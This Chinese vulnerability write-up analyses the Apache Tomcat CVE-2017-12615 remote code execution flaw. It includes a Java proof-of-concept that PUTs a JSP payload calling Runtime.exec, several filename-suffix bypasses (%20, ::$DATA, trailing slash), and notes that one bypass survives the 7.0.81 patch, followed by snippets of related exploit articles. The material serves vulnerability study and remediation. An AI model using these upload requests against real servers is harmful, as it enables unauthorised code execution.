Apache Tomcat CVE-2017-12615远程代码执行漏洞分析

2017年9月19日, Apache Tomcat官方发布两个严重的安全漏洞, 其中CVE-2017-12615为远程代码执行漏洞,通过put请求向服务器上传恶意jsp文件, 再通过jsp文件在服务器上执行任意代码, 且最新的补丁未完全修复漏洞。中新网安将对该漏洞进行持续关注, 并第一时间为您更新相关漏洞信息。

漏洞编号

CVE-2017-12615

漏洞名称

Apache Tomcat 远程代码执行漏洞

漏洞评级

严重

影响范围

Apache Tomcat 7.0.0 - 7.0.79

漏洞分析

1. 创建调试环境

下载tomcat v7.0.79源码, http://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/src/apache-tomcat-7.0.79-src.zip

解包后, 在解包根目录创建pom.xml文件, 添加如下内容

<?xml version="1.0" encoding="UTF-8"?>
<!--suppress ALL -->
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.apache.tomcat</groupId>
<artifactId>Tomcat7.0.79</artifactId>
<name>Tomcat7.0.79 src</name>
<version>7.0.79</version>
...........
</project>

修改conf/web.xml, 添加如下内容

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

idea打开pom.xml文件

启动项配置如下

2. jsp后不添加内容

package com.zxsoft;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.Socket;
import com.sun.jersey.api.client.Client;
import com.sun.jersey.api.client.WebResource;
import sun.net.www.http.HttpClient;
public class tomcatExp{
public static void main(String[] args) throws Exception {
Socket s = new Socket("localhost", 8080);
OutputStream out = s.getOutputStream();
String sPayload = "<%Process proc = Runtime.getRuntime().exec(\"calc\");%>";
// payload1
String head = "PUT /upload/" + "1.jsp" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"
+ "Connection: keep-alive\r\n" + "Accept: text/html,application/xhtml+xml,application/xml,*/*\r\n"
+ "Accept-Encoding: gzip, deflate\r\n" + "Accept-Language: zh-CN\r\n" + "Content-Length: "
+ sPayload.length() + "\r\n" + "\r\n";
out.write(head.getBytes());
out.write(sPayload.getBytes(), 0, sPayload.length());
s.close();
}
}

进入JspServlet, 无法创建文件

3. jsp后添加\
String head = "PUT /upload/" + "1.jsp%7C" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"

进入DefaultServlet

判断readonly参数

写文件

提示异常,语法错误

4. jsp后添加空格
String head = "PUT /upload/" + "1.jsp%20" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"

进入DefaultServlet

文件创建成功

添加.(点号)同理

5. jsp后添加::$DATA

String head = "PUT /upload/" + "1.jsp::$DATA" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"

进入DefaultServlet

文件创建成功

6. jsp后添加/

String head = "PUT /upload/" + "1.jsp/" + " HTTP/1.1\r\n" + "Host: " + "localhost:8080" + "\r\n"

去除掉了最后的/, 最后成功创建文件

7. 7.0.81版本

空格的情况,canPath和absPath不相同,返回null,漏洞修复

::$DATA的情况, canPath为空,漏洞修复

/的情况, 依然成功返回file, 漏洞未修复

漏洞利用

访问jsp文件,成功执行代码

修复建议

conf/web.xml文件readonly属性值设为ture.

时间: 2024-10-05 12:37:07

Apache Tomcat CVE-2017-12615远程代码执行漏洞分析的相关文章

小米手机MIUI远程代码执行漏洞分析

7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞.通过该漏洞可以远程获取本地APP的权限,突破本地漏洞和远程漏洞的界限,使本地app的漏洞远程也能被利用,达到隔山打牛的效果.在漏洞发现的第一时间,我已经将漏洞细节报告给了小米安全响应中心,目前漏洞已经修复. 测试环境:手机型号:MI 3 Android版本:4.2.1 JOP40D MIUI版本:MIUI-JXCCNBE21 内核版本:3.4.35-ga656ab9 一.   小米MIUI原生浏览器存在意

CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc下载链接如下. github地址:https://github.com/edwardz246003/IIS_exploit 结合上面的POC,我们对漏洞的成因及利用过程进行了详细的分析.在分析过程中,对poc的exploit利用技巧感到惊叹,多次使用同一个漏洞函数触发,而同一个漏洞同一段漏洞利用代码

【转载】Joomla远程代码执行漏洞分析

利用脚本.exp:python jj.py http://123.123.123.123 ->直接GETSHELL python jj.py http://123.123.123.123 "whoami" ->执行命令#author:we8i&90sec import urllib2,urllib,base64 import cookielib,sys,re cj = cookielib.CookieJar() opener = urllib2.build_open

Bash远程代码执行漏洞分析

 今日爆出一个Bash的RCE漏洞,威力巨大.看了看老外的分析,觉得有必要写一写自己对这个漏洞的理解. 首先,问题起因于一个命令ENV. 原型: env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...] Man是这么说的: Display, set, or remove environment variables,Run a command in a modified environment. 我的理解是使用env命令的key=value,首先会

Bash远程代码执行漏洞批量利用脚本

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多,但是影响范围不是很广泛,不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题. 其中最最简单的方法就是使用搜索引擎的hacking技术,这里我使用的Google Hacking语法结合Google API来进行链接的抓取.只不过在国内的话....需要加代理. 程序中的代理是我本地的goagent代理,端口是8087.如何检测漏洞思路也很简单,我这里直接根据服务器返回码进行判断的. 思路就是以上这些,下面还是和往常一样,

ECShop全系列版本远程代码执行漏洞复现

前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_REFERER,我们可控. assign函数用于在模版变量里赋值 再看display函数 读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随

Tomcat远程代码执行漏洞CVE-2017-12615复现

一.背景 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615),当存在漏洞的Tomcat运行在Windows主机上,且启用了HTTP PUT请求方法,恶意访问者通过构造的请求向服务器上传包含任意diam的JSP文件,造成任意代码执行,危害十分严重. 二.影响范围 Apache Tomcat 7.0.0-7.0.81 三.测试环境 Windows 7 Apache Tomcat 7.0.56 JDK 四.漏洞复现 T

Apache ActiveMQ Fileserver远程代码执行漏洞

扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ 5.1.0 下载地址:http://activemq.apache.org/activemq-510-release.html 解压后,双击运行abtivemq.bat运行.(进入bin目录,根据自己的操作系统选择win32或win64,5.1.0只有win32目录) 访问8161端口: 漏洞利用

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp